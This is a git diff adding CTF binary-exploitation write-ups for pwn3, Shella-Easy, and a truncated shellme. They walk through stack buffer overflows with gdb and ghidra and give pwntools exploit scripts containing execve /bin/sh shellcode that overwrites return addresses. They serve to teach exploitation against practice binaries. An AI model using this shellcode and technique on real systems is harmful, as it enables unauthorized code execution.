https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3 + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3 [following] + --2021-03-05 12:37:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3 + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 7348 (7.2K) [application/octet-stream] + Saving to: ‘pwn3’ + + pwn3 100%[============================================================================================================================================================================>] 7.18K --.-KB/s in 0.001s + + 2021-03-05 12:37:21 (12.1 MB/s) - ‘pwn3’ saved [7348/7348] + + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3] + → file pwn3 + pwn3: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3] + → chmod +x pwn3 + + + + +` ![]() + +## Solution + +First let's execute the binary to see what it does: + + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3] + → ./pwn3 + Take this, you might need it on your journey 0xfff0aa1e! + thanks! + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3] + → ./pwn3 + Take this, you might need it on your journey 0xffa9ce0e! + No Thanks! + + + +Here we see the binary giving us some text output with a certain memory address, and then prompts us for our text and depending on that text, we might get an answer or not. Now let's view it inside of ghidra: + +![](24.png) + +We get the following code: + + + undefined4 main(void) + + { + undefined *puVar1; + + puVar1 = &stack0x00000004; + setvbuf(stdout,(char *)0x2,0,0); + echo(puVar1); + return 0; + } + + +Here we see that the important part of the main function is the echo function: + + + /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */ + + void echo(void) + + { + char local_12e [294]; + + printf("Take this, you might need it on your journey %p!\n",local_12e); + gets(local_12e); + return; + } + + + +Here we see our input text gets passed into local_12e, and the function prints the address of the char buffer of local_12e. The bug here is that the gets function that is being used to process our input does not have a limit, it won't restrict us no matter how much data we feed through it, so we have an overflow right here. The question is what do we call ? There are not any function that print the flag nor give a shell, This is why we need to feed shellcode in. + +Now in the previous challenge we were able to create the shellcode we needed for the x86_64 architecture. However this time we need to take into account that this is a 32 bit binary, we have to follow the x86 architecture as we create our shellcode. For this example we're going to grab some shellcode from [shell-storm.org](http://shell-storm.org/shellcode/files/shellcode-827.php). + +Now let's use gdb to see how much space we have between the start of our input and the return address: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/pwn3] + → gdb ./pwn3 + GNU gdb (GDB) 10.1 + Copyright (C) 2020 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-pc-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1 using Python engine 3.9 + Reading symbols from ./pwn3... + (No debugging symbols found in ./pwn3) + gef➤ disas echo + Dump of assembler code for function echo: + 0x0000059d <+0>: push ebp + 0x0000059e <+1>: mov ebp,esp + 0x000005a0 <+3>: push ebx + 0x000005a1 <+4>: sub esp,0x134 + 0x000005a7 <+10>: call 0x4a0 <__x86.get_pc_thunk.bx> + 0x000005ac <+15>: add ebx,0x1a20 + 0x000005b2 <+21>: sub esp,0x8 + 0x000005b5 <+24>: lea eax,[ebp-0x12a] + 0x000005bb <+30>: push eax + 0x000005bc <+31>: lea eax,[ebx-0x191c] + 0x000005c2 <+37>: push eax + 0x000005c3 <+38>: call 0x410 + 0x000005c8 <+43>: add esp,0x10 + 0x000005cb <+46>: sub esp,0xc + 0x000005ce <+49>: lea eax,[ebp-0x12a] + 0x000005d4 <+55>: push eax + 0x000005d5 <+56>: call 0x420 + 0x000005da <+61>: add esp,0x10 + 0x000005dd <+64>: nop + 0x000005de <+65>: mov ebx,DWORD PTR [ebp-0x4] + 0x000005e1 <+68>: leave + 0x000005e2 <+69>: ret + End of assembler dump. + + + +Now as we disassembled the echo function, we set a breakpoint +61 because this is right after the gets call where we insert our text in. + + + gef➤ b *echo+61 + Breakpoint 1 at 0x5da + gef➤ r + Starting program: /home/nothing/binexp/2/pwn3/pwn3 + Take this, you might need it on your journey 0xffffcfbe! + 13371337 + + Breakpoint 1, 0x565555da in echo () + ~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py:2425: DeprecationWarning: invalid escape sequence '\ + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $eax : 0xffffcfbe → "13371337" + $ebx : 0x56556fcc → 0x00001ed4 + $ecx : 0xf7f90540 → 0xfbad2288 + $edx : 0xfbad2288 + $esp : 0xffffcfa0 → 0xffffcfbe → "13371337" + $ebp : 0xffffd0e8 → 0xffffd0f8 → 0x00000000 + $esi : 0x1 + $edi : 0x56555460 → <_start+0> xor ebp, ebp + $eip : 0x565555da → add esp, 0x10 + $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0xffffcfa0│+0x0000: 0xffffcfbe → "13371337" ← $esp + 0xffffcfa4│+0x0004: 0xffffcfbe → "13371337" + 0xffffcfa8│+0x0008: 0xffffcfff → 0xffd08000 + 0xffffcfac│+0x000c: 0x565555ac → add ebx, 0x1a20 + 0xffffcfb0│+0x0010: 0x00000000 + 0xffffcfb4│+0x0014: 0x00000000 + 0xffffcfb8│+0x0018: 0x00000000 + 0xffffcfbc│+0x001c: 0x3331b6ff + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── + 0x565555ce lea eax, [ebp-0x12a] + 0x565555d4 push eax + 0x565555d5 call 0x56555420 + → 0x565555da add esp, 0x10 + 0x565555dd nop + 0x565555de mov ebx, DWORD PTR [ebp-0x4] + 0x565555e1 leave + 0x565555e2 ret + 0x565555e3 lea ecx, [esp+0x4] + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "pwn3", stopped 0x565555da in echo (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x565555da → echo() + [#1] 0x5655561a → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ search-pattern 13371337 + + + +Now that we set the breakpoint, we run the binary, and put in an easy-to remember pattern (13371337) and then we search for that pattern in the memory: + + + gef➤ search-pattern 13371337 + [+] Searching '13371337' in memory + [+] In '[heap]'(0x56558000-0x5657a000), permission=rw- + 0x565581a0 - 0x565581aa → "13371337\n" + [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx + 0xffffcfbe - 0xffffcfc6 → "13371337" + + gef➤ info frame + Stack level 0, frame at 0xffffd0f0: + eip = 0x565555da in echo; saved eip = 0x5655561a + called by frame at 0xffffd110 + Arglist at 0xffffd0e8, args: + Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0 + Saved registers: + ebx at 0xffffd0e4, ebp at 0xffffd0e8, eip at 0xffffd0ec + + + +Here we see that the important addresses are **0xffffd0ec** and **0xffffcfbe**. So let's calculate the offset: + + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex(0xffffd0ec) + '0xffffd0ec' + >>> hex(0xffffd0ec - 0xffffcfbe) + '0x12e' + + + +And we see that we have an offset of 0x12e bytes between the start of our input (0xffffcfbe) and the return address (0xffffd0ec). This makes sense because our input value (local_12e) is 294 bytes large,there are 2 saved register values (ebx and ebp) on the stack in between our input and the saved return address which are each 4 bytes a piece (294 + 4 +4 = 0x12e). So with this we can construct our payload : + + + [ 192.168.0.18/24 ] [ /dev/pts/12 ] [binexp/2/pwn3] + → vim exploit.py + + + + + from pwn import * + + target = process('./pwn3') + + #print the text, up to the address of the start of the input + print(target.recvuntil("journey ")) + + #Scan the rest of the line + leak = target.recvline() + + Adr = int(leak.strip(b"!\n"),16) + + shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + + payload = b"" + payload += shellcode + payload += b"\x00" * (0x12e - len(payload)) + payload += p32(Adr) + + print(hexdump(payload)) + + + +The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode + +Now let's check out our payload: + + + [ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3] + → python3 exploit.py + [+] Starting local process './pwn3': pid 218489 + b'Take this, you might need it on your journey ' + 00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 │1·Ph│//sh│h/bi│n··P│ + 00000010 53 89 e1 b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│ + 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ + * + 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe d4 │····│····│····│····│ + 00000130 94 ff │··│ + 00000132 + + + +Now let's use the following 2 lines to feed our payload into the binary: + + + target.sendline(payload) + target.interactive() + + + + + [ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3] + → python3 exploit.py + [+] Starting local process './pwn3': pid 524665 + b'Take this, you might need it on your journey ' + 00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 dc 50 │1·Ph│//sh│h/bi│n··P│ + 00000010 53 89 cc b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│ + 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ + * + 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 27 │····│····│····│···'│ + 00000130 d7 ff │··│ + 00000132 + [*] Switching to interactive mode + [*] Got EOF while reading in interactive + $cat flag.txt + flag{g0ttem_b0yz} + $ exit + [*] Got EOF while reading in interactive + $ exit + [*] Process './pwn3' stopped with exit code 0 (pid 524665) + [*] Got EOF while sending in interactive + + + + +And that's it! We have been able to print out the flag. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/shella.md b/2/shella.md new file mode 100644 index 0000000..fdcf471 --- /dev/null +++ b/2/shella.md @@ -0,0 +1,387 @@ +# TuCTF 2018 Shella-Easy + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy + --2021-03-05 17:20:57-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy [following] + --2021-03-05 17:20:57-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.108.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 7404 (7.2K) [application/octet-stream] + Saving to: ‘shella-easy’ + + shella-easy 100%[============================================================================================================================================================================>] 7.23K --.-KB/s in 0s + + 2021-03-05 17:20:57 (20.9 MB/s) - ‘shella-easy’ saved [7404/7404] + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella] + → file shella-easy + shella-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38de2077277362023aadd2209673b21577463b66, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella] + → chmod +X shella-easy + + + +` ![]() + +## Solution + +First let's run the binary to see what it does: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella] + → ./shella-easy + Yeah I'll have a 0xffa70630 with a side of fries thanks + yes + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella] + → ./shella-easy + Yeah I'll have a 0xff94b1a0 with a side of fries thanks + no + + + +Very similar to the previous challenge we did, the binary prints out some text with a memory address, and then asks us for some text input. Let's see what we can find in ghidra: + +![](25.png) + +Which gives us the following code: + + + undefined4 main(void) + + { + char local_4c [64]; + int local_c; + + setvbuf(stdout,(char *)0x0,2,0x14); + setvbuf(stdin,(char *)0x0,2,0x14); + local_c = -0x35014542; + printf("Yeah I\'ll have a %p with a side of fries thanks\n",local_4c); + gets(local_4c); + if (local_c != -0x21524111) { + /* WARNING: Subroutine does not return */ + exit(0); + } + return 0; + } + + + +Here we see that our input text gets stored into the variable local_4c and gets passed through a gets() function, and we know that the gets call does not restrict user input, therefore we know we can do a buffer overflow thanks to it. The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode + +However, according to the decompiled code, the function exit is called, when this function is called, the ret instruction will not run in the context of this function, so we won't get code execution. So let's look at the assembly : + +![](26.png) + + + 08048539 e8 52 fe CALL gets char * gets(char * __s) + ff ff + 0804853e 83 c4 04 ADD ESP,0x4 + 08048541 81 7d f8 CMP dword ptr [EBP + local_c],0xdeadbeef + ef be ad de + 08048548 74 07 JZ LAB_08048551 + 0804854a 6a 00 PUSH 0x0 + 0804854c e8 4f fe CALL exit void exit(int __status) + ff ff + -- Flow Override: CALL_RETURN (CALL_TERMINATOR) + LAB_08048551 XREF[1]: 08048548(j) + 08048551 b8 00 00 MOV EAX,0x0 + 00 00 + 08048556 8b 5d fc MOV EBX,dword ptr [EBP + local_8] + 08048559 c9 LEAVE + 0804855a c3 RET + + + +Here we see that there is a check to see if the variable local_c is equal to 0xdeadbeef, and if it is, the function doesn't call exit(0), and we end up with our code execution. Now let's take a look at the stack layout in ghidra: + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined main() + undefined AL:1 + undefined4 Stack[-0x8]:4 local_8 XREF[1]: 08048556(R) + undefined4 Stack[-0xc]:4 local_c XREF[2]: 0804851b(W), + 08048541(R) + undefined1 Stack[-0x4c]:1 local_4c XREF[2]: 08048522(*), + 08048535(*) + main XREF[4]: Entry Point(*), + _start:080483f7(*), 08048630, + 080486a0(*) + 080484db 55 PUSH EBP + + + +We see that the local_c variable is within range of our overflowing variable (local_4c) where we put our text in. So, now that we know that, we need to find out what the offset is between the memory address of our input and the memory address of the return address, to do so we use gdb: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella] + → gdb ./shella-easy + GNU gdb (GDB) 10.1 + Copyright (C) 2020 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-pc-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1 using Python engine 3.9 + Reading symbols from ./shella-easy... + (No debugging symbols found in ./shella-easy) + gef➤ disas main + Dump of assembler code for function main: + 0x080484db <+0>: push ebp + 0x080484dc <+1>: mov ebp,esp + 0x080484de <+3>: push ebx + 0x080484df <+4>: sub esp,0x44 + 0x080484e2 <+7>: call 0x8048410 <__x86.get_pc_thunk.bx> + 0x080484e7 <+12>: add ebx,0x1b19 + 0x080484ed <+18>: mov eax,DWORD PTR [ebx-0x4] + 0x080484f3 <+24>: mov eax,DWORD PTR [eax] + 0x080484f5 <+26>: push 0x14 + 0x080484f7 <+28>: push 0x2 + 0x080484f9 <+30>: push 0x0 + 0x080484fb <+32>: push eax + 0x080484fc <+33>: call 0x80483c0 + 0x08048501 <+38>: add esp,0x10 + 0x08048504 <+41>: mov eax,DWORD PTR [ebx-0x8] + 0x0804850a <+47>: mov eax,DWORD PTR [eax] + 0x0804850c <+49>: push 0x14 + 0x0804850e <+51>: push 0x2 + 0x08048510 <+53>: push 0x0 + 0x08048512 <+55>: push eax + 0x08048513 <+56>: call 0x80483c0 + 0x08048518 <+61>: add esp,0x10 + 0x0804851b <+64>: mov DWORD PTR [ebp-0x8],0xcafebabe + 0x08048522 <+71>: lea eax,[ebp-0x48] + 0x08048525 <+74>: push eax + 0x08048526 <+75>: lea eax,[ebx-0x1a20] + 0x0804852c <+81>: push eax + 0x0804852d <+82>: call 0x8048380 + 0x08048532 <+87>: add esp,0x8 + 0x08048535 <+90>: lea eax,[ebp-0x48] + 0x08048538 <+93>: push eax + 0x08048539 <+94>: call 0x8048390 + 0x0804853e <+99>: add esp,0x4 + 0x08048541 <+102>: cmp DWORD PTR [ebp-0x8],0xdeadbeef + 0x08048548 <+109>: je 0x8048551 + 0x0804854a <+111>: push 0x0 + 0x0804854c <+113>: call 0x80483a0 + 0x08048551 <+118>: mov eax,0x0 + 0x08048556 <+123>: mov ebx,DWORD PTR [ebp-0x4] + 0x08048559 <+126>: leave + 0x0804855a <+127>: ret + End of assembler dump. + + + +Here we want to set a breakpoint after the gets call at +99: + + + gef➤ b *main+99 + Breakpoint 1 at 0x804853e + gef➤ r + Starting program: /home/nothing/binexp/2/shella/shella-easy + Yeah I'll have a 0xffffd0a0 with a side of fries thanks + 13371337 + + Breakpoint 1, 0x0804853e in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $eax : 0xffffd0a0 → "13371337" + $ebx : 0x0804a000 → 0x08049f0c → 0x00000001 + $ecx : 0xf7f90540 → 0xfbad208b + $edx : 0xfbad208b + $esp : 0xffffd09c → 0xffffd0a0 → "13371337" + $ebp : 0xffffd0e8 → 0x00000000 + $esi : 0x1 + $edi : 0x080483e0 → <_start+0> xor ebp, ebp + $eip : 0x0804853e → add esp, 0x4 + $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0xffffd09c│+0x0000: 0xffffd0a0 → "13371337" ← $esp + 0xffffd0a0│+0x0004: "13371337" + 0xffffd0a4│+0x0008: "1337" + 0xffffd0a8│+0x000c: 0x00000000 + 0xffffd0ac│+0x0010: 0xf7dd8b82 → <__internal_atexit+66> add esp, 0x10 + 0xffffd0b0│+0x0014: 0xf7f903bc → 0xf7f919e0 → 0x00000000 + 0xffffd0b4│+0x0018: 0xffffffff + 0xffffd0b8│+0x001c: 0x080483e0 → <_start+0> xor ebp, ebp + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── + 0x8048535 lea eax, [ebp-0x48] + 0x8048538 push eax + 0x8048539 call 0x8048390 + → 0x804853e add esp, 0x4 + 0x8048541 cmp DWORD PTR [ebp-0x8], 0xdeadbeef + 0x8048548 je 0x8048551 + 0x804854a push 0x0 + 0x804854c call 0x80483a0 + 0x8048551 mov eax, 0x0 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "shella-easy", stopped 0x804853e in main (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x804853e → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + + +After setting the breakpoint, we ran the binary, and then we passed a pattern that is easy to remember (13371337).Now that we hit our breakpoint, we want to know where is our pattern located: + + + gef➤ search-pattern 13371337 + [+] Searching '13371337' in memory + [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx + 0xffffd0a0 - 0xffffd0a8 → "13371337" + gef➤ info frame + Stack level 0, frame at 0xffffd0f0: + eip = 0x804853e in main; saved eip = 0xf7dbfa0d + Arglist at 0xffffd0e8, args: + Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0 + Saved registers: + ebx at 0xffffd0e4, ebp at 0xffffd0e8, eip at 0xffffd0ec + + + +Here we see that our 13371337 pattern is located at **0xffffd0a0** and the return address is located at **0xffffd0ec** so let's calculate the offset: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/shella] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex( 0xffffd0a0 - 0xffffd0ec ) + '-0x4c' + + + +And we see that we have a 0x4c offset between our input text and the return function. With this we can create our exploit using the shellcode we used for the previous challenge: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/shella] + → vim exploit.py + + + + + from pwn import * + + target = process('./shella-easy') + + leak = target.recvline() + leak = leak.strip(b"Yeah I'll have a ") + leak = leak.strip(b" with a side of fries thanks\n") + + Adr = int(leak, 16) + + payload = b"" + # http://shell-storm.org/shellcode/files/shellcode-827.php + payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + payload += b"\x00" * (0x40 - len(payload)) # Padding to the local_c variable + payload += p32(0xdeadbeef) #overwrite local_c with 0xdeadbeef + payload += b"\x00"*8 #padding to the return address + payload += p32(Adr) # Overwrite the return address to point to the start of our payload, where the shellcode is + + + #hexdump the payload: + print(hexdump(payload)) + + + +Here we can see our payload (shellcode + nullbytes to get to 0x40 + little endian deadbeef + 8 nullbytes + little endian leaked address): + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella] + → python3 exploit.py + [+] Starting local process './shella-easy': pid 1269456 + 00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 │1·Ph│//sh│h/bi│n··P│ + 00000010 53 89 e1 b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│ + 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ + * + 00000040 ef be ad de 00 00 00 00 00 00 00 00 10 0a 84 ff │····│····│····│····│ + 00000050 + + + +Now we send the payload to the binary file with the following 2 lines: + + + target.sendline(payload) + target.interactive() + + + + + + + + + + + + + + + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/shme.md b/2/shme.md new file mode 100644 index 0000000..cd5d0f8 --- /dev/null +++ b/2/shme.md @@ -0,0 +1,490 @@ +# Utc 2019 shellme + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/libc6_2.27-3ubuntu1_i386.so + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/server + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme] + → file server + server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=be2f490cdd60374344e1075c9dd31060666bd524, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme] + → chmod +x server + + + +` ![]() + +## Solution + +First let's run pwn checksec on the binary file, and then execute it to see what it does: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme] + → pwn checksec server; ./server + [*] '/home/nothing/binexp/2/shme/server' + Arch: i386-32-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x8048000) + + Legend: buff MODIFIED padding MODIFIED + notsecret MODIFIED secret MODIFIED + return address MODIFIED + 0xffd2a2e0 | 00 00 00 00 00 00 00 00 | + 0xffd2a2e8 | 00 00 00 00 00 00 00 00 | + 0xffd2a2f0 | 00 00 00 00 00 00 00 00 | + 0xffd2a2f8 | 00 00 00 00 00 00 00 00 | + 0xffd2a300 | ff ff ff ff ff ff ff ff | + 0xffd2a308 | ff ff ff ff ff ff ff ff | + 0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 | + 0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 | + Return address: 0x0804868b + + Input some text: here is some text + + Legend: buff MODIFIED padding MODIFIED + notsecret MODIFIED secret MODIFIED + return address MODIFIED + 0xffd2a2e0 | 68 65 72 65 20 69 73 20 | + 0xffd2a2e8 | 73 6f 6d 65 20 74 65 78 | + 0xffd2a2f0 | 74 00 00 00 00 00 00 00 | + 0xffd2a2f8 | 00 00 00 00 00 00 00 00 | + 0xffd2a300 | ff ff ff ff ff ff ff ff | + 0xffd2a308 | ff ff ff ff ff ff ff ff | + 0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 | + 0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 | + Return address: 0x0804868b + + + +We see that we are dealing with a 32bit binary that has NX enabled, when we run the binary, and put in too much text we get the following: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme] + → ./server + + Legend: buff MODIFIED padding MODIFIED + notsecret MODIFIED secret MODIFIED + return address MODIFIED + 0xffd19e90 | 00 00 00 00 00 00 00 00 | + 0xffd19e98 | 00 00 00 00 00 00 00 00 | + 0xffd19ea0 | 00 00 00 00 00 00 00 00 | + 0xffd19ea8 | 00 00 00 00 00 00 00 00 | + 0xffd19eb0 | ff ff ff ff ff ff ff ff | + 0xffd19eb8 | ff ff ff ff ff ff ff ff | + 0xffd19ec0 | 40 75 ef f7 00 a0 04 08 | + 0xffd19ec8 | d8 9e d1 ff 8b 86 04 08 | + Return address: 0x0804868b + + Input some text: 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 + + Legend: buff MODIFIED padding MODIFIED + notsecret MODIFIED secret MODIFIED + return address MODIFIED + 0xffd19e90 | 30 30 30 30 30 30 30 30 | + 0xffd19e98 | 30 30 30 30 30 30 30 30 | + 0xffd19ea0 | 30 30 30 30 30 30 30 30 | + 0xffd19ea8 | 30 30 30 30 30 30 30 30 | + 0xffd19eb0 | 30 30 30 30 30 30 30 30 | + 0xffd19eb8 | 30 30 30 30 30 30 30 30 | + 0xffd19ec0 | 30 30 30 30 30 30 30 30 | + 0xffd19ec8 | 30 30 30 30 30 30 30 30 | + Return address: 0x30303030 + + [1] 1782143 segmentation fault (core dumped) ./server + + + + +So here we see that we can cause a seg fault when we put in too much text, now let's take a look at it from inside ghidra: + +![](51.png) + +Luckily this time the main function is actually called 'main' so it was easy to find, we get the following code: + + + undefined4 main(void) + + { + undefined *puVar1; + + puVar1 = &stack0x00000004; + setbuf(stdout,(char *)0x0); + setbuf(stdin,(char *)0x0); + vuln(puVar1); + return 0; + } + + + +Here we see a function called 'vuln' so let's take a look at it: + + + void vuln(void) + + { + char local_3c [32]; + undefined local_1c [20]; + + 